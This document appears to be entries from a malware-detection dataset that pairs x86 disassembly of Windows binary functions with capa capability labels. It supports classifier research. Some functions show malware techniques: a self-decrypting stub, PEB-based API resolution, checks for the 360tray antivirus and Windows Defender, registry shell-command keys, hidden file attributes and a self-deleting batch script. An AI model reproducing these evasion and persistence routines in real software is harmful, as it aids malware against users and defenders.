joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e910
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x4a81fc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x40e940
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044b7e8
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x40e97c
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x40e97c
lea ecx, [edi - 1]
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044b7e8
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x40ea63
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x40e9a4
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x40e9d7
push dword [esi + 0x4c]
movsx eax, bl
push eax
call fcn.0046b63c
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044b7e8
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
mov edx, dword [ecx]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x1c]
test eax, eax
js 0x40ea63
cmp eax, 1
jle 0x40ea36
cmp eax, 3
jne 0x40ea63
push dword [esi + 0x4c]
movsx eax, byte [ebp - 0x25]
push eax
call fcn.0046b63c
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044b7e8
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x40ea53
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.0046c3f3
add esp, 0x10
cmp edi, eax
jne 0x40ea63
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
jne 0x40e967
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044b7e8
mov esp, ebp
pop ebp
ret 4
Function at 0x40ecf0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x4a81fc]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x38], 0
je 0x40ed91
cmp byte [esi + 0x3d], 0
je 0x40ed91
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x40ed47
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x40ed59
sub eax, 1
je 0x40ed5d
sub eax, 2
je 0x40ed91
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044b7e8
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x40ed7a
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.0046c3f3
add esp, 0x10
cmp edi, eax
jne 0x40ed47
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044b7e8
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
xor ecx, ebp
pop esi
call fcn.0044b7e8
mov esp, ebp
pop ebp
ret
Function at 0x44e561
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x472624
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0047249a

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x100012f0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
ret

Function at 0x10001310
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x10]
ret
Function at 0x10003af0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x28]
add ecx, dword [edx + 0x3c]
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
add eax, 0x78
mov dword [ebp - 0x1c], eax
mov ecx, 8
imul edx, ecx, 0
add edx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
add edx, dword [ebp + 0xc]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x14]
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x1c]
add edx, dword [ebp + 0xc]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x20]
add ecx, dword [ebp + 0xc]
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [edx + 0x24]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 8], 0
jmp 0x10003b78
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x34]
jae 0x10003c4f
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x20]
cmp dword [ecx + eax*4], 0
jne 0x10003b92
jmp 0x10003b6f
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + edx*4]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x10], 0
jmp 0x10003bb0
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x38]
jae 0x10003c4a
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x3c]
movzx eax, word [edx + ecx*2]
cmp eax, dword [ebp - 8]
jne 0x10003c45
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x40]
mov eax, dword [edx + ecx*4]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x44]
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov dl, byte [ecx]
mov byte [ebp - 1], dl
mov eax, dword [ebp - 0x18]
cmp dl, byte [eax]
jne 0x10003c29
cmp byte [ebp - 1], 0
je 0x10003c20
mov ecx, dword [ebp - 0x14]
mov dl, byte [ecx + 1]
mov byte [ebp - 2], dl
mov eax, dword [ebp - 0x18]
cmp dl, byte [eax + 1]
jne 0x10003c29
add dword [ebp - 0x14], 2
add dword [ebp - 0x18], 2
cmp byte [ebp - 2], 0
jne 0x10003bec
mov dword [ebp - 0x24], 0
jmp 0x10003c31
sbb ecx, ecx
or ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x4c], edx
cmp dword [ebp - 0x4c], 0
jne 0x10003c45
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0x50]
jmp 0x10003c51
jmp 0x10003ba7
jmp 0x10003b6f
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10003fc0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x19c
mov eax, dword [0x1003702c]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x194]
push eax
push 0x202
call dword [0x10039ad0]
mov dword [ebp - 0x19c], 1
mov ecx, dword [0x10039b28]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x198], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x198], 0
je 0x10003fef
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp - 0x198]
mov edx, dword [ecx + 0xc]
mov eax, dword [eax + edx]
mov ecx, dword [0x10037b8c]
mov edx, dword [eax]
mov dword [ecx], edx
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000cdca
mov esp, ebp
pop ebp
ret
Function at 0x10005810
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x1003702c]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
lea eax, [ebp - 0x20]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x10005853
or eax, 0xffffffff
jmp 0x100059bf
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
add eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x28]
mov dl, byte [ecx]
mov byte [ebp - 0x21], dl
add dword [ebp - 0x28], 1
cmp byte [ebp - 0x21], 0
jne 0x10005862
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 1
push 0
push 0
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea edx, [ebp - 0x20]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x100058d5
or eax, 0xffffffff
jmp 0x100059bf
mov ecx, dword [str.Shell]
mov dword [ebp - 0x14], ecx
mov dx, word [0x10033564]
mov word [ebp - 0x10], dx
mov eax, dword [str.Open]
mov dword [ebp - 0xc], eax
mov cl, byte [0x1003356c]
mov byte [ebp - 8], cl
mov edx, dword [str.Command]
mov eax, dword [0x10033574]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], eax
push 0
lea ecx, [ebp - 0x20]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
lea edx, [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
lea ecx, [ebp - 0x20]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
lea ecx, [ebp - 0x20]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x2c]
mov cl, byte [eax]
mov byte [ebp - 0x22], cl
add dword [ebp - 0x2c], 1
cmp byte [ebp - 0x22], 0
jne 0x1000597d
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x3c]
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push 1
push 0
push 0
mov edx, dword [ebp - 0x20]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000cdca
mov esp, ebp
pop ebp
ret
Function at 0x10005a90
Capabilities:
Acquire debug privileges
Get session information
Get session user name
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x1003702c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x128], 0xffffffff
mov dword [ebp - 0x12c], 0
push 1
push 0x100335b4
call fcn.100059d0
add esp, 8
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x11c]
push ecx
push 1
push 0
push 0
call dword [sym.imp.WTSAPI32.dll_WTSEnumerateSessionsA]
test eax, eax
je 0x10005c88
mov dword [ebp - 0x124], 0
jmp 0x10005b17
mov edx, dword [ebp - 0x124]
add edx, 1
mov dword [ebp - 0x124], edx
mov eax, dword [ebp - 0x124]
cmp eax, dword [ebp - 0x108]
jae 0x10005b53
imul ecx, dword [ebp - 0x124], 0xc
mov edx, dword [ebp - 0x11c]
cmp dword [edx + ecx + 8], 0
jne 0x10005b51
imul eax, dword [ebp - 0x124], 0xc
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ecx + eax]
mov dword [ebp - 0x128], edx
jmp 0x10005b53
jmp 0x10005b08
cmp dword [ebp - 0x128], 0xffffffff
je 0x10005c7b
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x118], 0
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x118]
push ecx
push 5
mov edx, dword [ebp - 0x128]
push edx
push 0
call dword [sym.imp.WTSAPI32.dll_WTSQuerySessionInformationA]
test eax, eax
je 0x10005c7b
mov dword [ebp - 0x10c], 0x100
mov dword [ebp - 0x120], 0
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x10c]
push ecx
lea edx, [ebp - 0x104]
push edx
lea eax, [ebp - 0x120]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x118]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
mov ecx, dword [ebp - 0x120]
push ecx
call fcn.10014438
add esp, 4
mov edx, dword [ebp + 8]
mov dword [edx], eax
mov eax, dword [ebp + 8]
cmp dword [eax], 0
je 0x10005c6e
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x10c]
push edx
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0x120]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x118]
push ecx
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
je 0x10005c57
mov edx, dword [ebp - 0x110]
push edx
mov eax, dword [ebp - 0x118]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.1000e730
add esp, 0xc
mov dword [ebp - 0x12c], 1
jmp 0x10005c6e
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call fcn.1001439b
add esp, 4
mov ecx, dword [ebp + 8]
mov dword [ecx], 0
mov edx, dword [ebp - 0x118]
push edx
call dword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
mov eax, dword [ebp - 0x11c]
push eax
call dword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
push 0
push 0x100335c8
call fcn.100059d0
add esp, 8
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000cdca
mov esp, ebp
pop ebp
ret
Function at 0x10006280
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x170
mov eax, dword [0x1003702c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.360tray.exe]
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10033680]
mov dword [ebp - 0xc], ecx
mov edx, dword [0x10033684]
mov dword [ebp - 8], edx
mov eax, dword [str.360Tray.exe]
mov dword [ebp - 0x1c], eax
mov ecx, dword [0x1003368c]
mov dword [ebp - 0x18], ecx
mov edx, dword [0x10033690]
mov dword [ebp - 0x14], edx
mov byte [ebp - 0x145], 0
mov dword [ebp - 0x144], 0x128
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x160], eax
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x160]
push ecx
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10006460
lea edx, [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x10006460
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x154], ecx
lea edx, [ebp - 0x120]
mov dword [ebp - 0x150], edx
mov eax, dword [ebp - 0x150]
mov cl, byte [eax]
mov byte [ebp - 0x146], cl
mov edx, dword [ebp - 0x154]
cmp cl, byte [edx]
jne 0x10006393
cmp byte [ebp - 0x146], 0
je 0x10006387
mov eax, dword [ebp - 0x150]
mov cl, byte [eax + 1]
mov byte [ebp - 0x147], cl
mov edx, dword [ebp - 0x154]
cmp cl, byte [edx + 1]
jne 0x10006393
add dword [ebp - 0x150], 2
add dword [ebp - 0x154], 2
cmp byte [ebp - 0x147], 0
jne 0x10006335
mov dword [ebp - 0x164], 0
jmp 0x1000639e
sbb eax, eax
or eax, 1
mov dword [ebp - 0x164], eax
mov ecx, dword [ebp - 0x164]
mov dword [ebp - 0x16c], ecx
cmp dword [ebp - 0x16c], 0
jne 0x100063bf
mov byte [ebp - 0x145], 1
jmp 0x10006460
lea edx, [ebp - 0x1c]
mov dword [ebp - 0x15c], edx
lea eax, [ebp - 0x120]
mov dword [ebp - 0x158], eax
mov ecx, dword [ebp - 0x158]
mov dl, byte [ecx]
mov byte [ebp - 0x148], dl
mov eax, dword [ebp - 0x15c]
cmp dl, byte [eax]
jne 0x10006432
cmp byte [ebp - 0x148], 0
je 0x10006426
mov ecx, dword [ebp - 0x158]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x149], dl
mov eax, dword [ebp - 0x15c]
cmp dl, byte [eax + 1]
jne 0x10006432
add dword [ebp - 0x158], 2
add dword [ebp - 0x15c], 2
cmp byte [ebp - 0x149], 0
jne 0x100063d4
mov dword [ebp - 0x168], 0
jmp 0x1000643d
sbb ecx, ecx
or ecx, 1
mov dword [ebp - 0x168], ecx
mov edx, dword [ebp - 0x168]
mov dword [ebp - 0x170], edx
cmp dword [ebp - 0x170], 0
jne 0x1000645b
mov byte [ebp - 0x145], 1
jmp 0x10006460
jmp 0x10006304
mov eax, dword [ebp - 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [ebp - 0x145]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000cdca
mov esp, ebp
pop ebp
ret
Function at 0x10006490
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x1003702c]
xor eax, ebp
mov dword [ebp - 4], eax
push 4
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x100064bc
xor al, al
jmp 0x10006549
push 4
push str.WinDefend
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x100064e4
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
jmp 0x10006549
lea edx, [ebp - 8]
push edx
push 0x24
lea eax, [ebp - 0x2c]
push eax
push 0
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x10006516
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
jmp 0x10006549
cmp dword [ebp - 0x28], 4
jne 0x10006525
mov dword [ebp - 0x3c], 1
jmp 0x1000652c
mov dword [ebp - 0x3c], 0
mov cl, byte [ebp - 0x3c]
mov byte [ebp - 0x2d], cl
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, byte [ebp - 0x2d]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000cdca
mov esp, ebp
pop ebp
ret

Function at 0x10006760
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x10006779
jmp 0x1000678a
mov ecx, dword [ebp - 4]
or ecx, 2
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esp, ebp
pop ebp
ret
Function at 0x10006790
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4e0
mov eax, dword [0x1003702c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
call fcn.10006660
push eax
mov eax, dword [ebp + 8]
push eax
push str._s_s.cmd
lea ecx, [ebp - 0x1e4]
push ecx
call fcn.10001260
add esp, 0x10
push 0x104
lea edx, [ebp - 0x2e8]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0xa
mov esi, str._echo_off_r_n:loop_r_ntasklist__fi__PID_eq
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [str.___findstr__i__]
mov dword [ebp - 0x18], eax
mov ecx, dword [0x10033840]
mov dword [ebp - 0x14], ecx
mov edx, dword [0x10033844]
mov dword [ebp - 0x10], edx
mov eax, dword [0x10033848]
mov dword [ebp - 0xc], eax
mov cl, byte [0x1003384c]
mov byte [ebp - 8], cl
mov ecx, 0xb
mov esi, str.____nul_r_nif__errorlevel__neq_0___r_nstart___
lea edi, [ebp - 0x98]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0xa
mov esi, str._r_nping__n_5_127.0.0.1___nul_r_n_r_nstart___
lea edi, [ebp - 0x6c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x11
mov esi, str._r_ndel___f0__r_ngoto_end_r_n__r_nping__n_20_127.0.0.1___nul_r_ngoto_loop_r_n:end
lea edi, [ebp - 0xe0]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0xe0]
push edx
lea eax, [ebp - 0x2e8]
push eax
lea ecx, [ebp - 0x6c]
push ecx
lea edx, [ebp - 0x2e8]
push edx
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea edx, [ebp - 0x40]
push edx
push str._s_d_s_d_s__s__s__s__s
lea eax, [ebp - 0x4dc]
push eax
call fcn.10001260
add esp, 0x2c
push 0x10033908
lea ecx, [ebp - 0x1e4]
push ecx
call fcn.1001539b
add esp, 8
mov dword [ebp - 0x4e0], eax
lea edx, [ebp - 0x4dc]
push edx
push 0x1003390c
mov eax, dword [ebp - 0x4e0]
push eax
call fcn.10001190
add esp, 0xc
mov ecx, dword [ebp - 0x4e0]
push ecx
call fcn.100154d7
add esp, 4
lea edx, [ebp - 0x1e4]
push edx
call fcn.10006760
add esp, 4
push 0
push 0
push 0
lea eax, [ebp - 0x1e4]
push eax
push 0x10033910
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000cdca
mov esp, ebp
pop ebp
ret
Function at 0x100069a0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
mov eax, dword [0x1003702c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.RegWorkshop.ini]
mov dword [ebp - 0x14], eax
mov ecx, dword [0x100339e0]
mov dword [ebp - 0x10], ecx
mov edx, dword [0x100339e4]
mov dword [ebp - 0xc], edx
mov eax, dword [0x100339e8]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [0x10039b2c]
push edx
push 0x100339ec
lea eax, [ebp - 0x118]
push eax
call fcn.10001260
add esp, 0x10
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0xffffffff
je 0x10006a31
mov edx, dword [ebp - 0x11c]
and edx, 0x10
jne 0x10006a31
lea eax, [ebp - 0x118]
push eax
call fcn.1001568d
add esp, 4
mov eax, 1
jmp 0x10006a33
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000cdca
mov esp, ebp
pop ebp
ret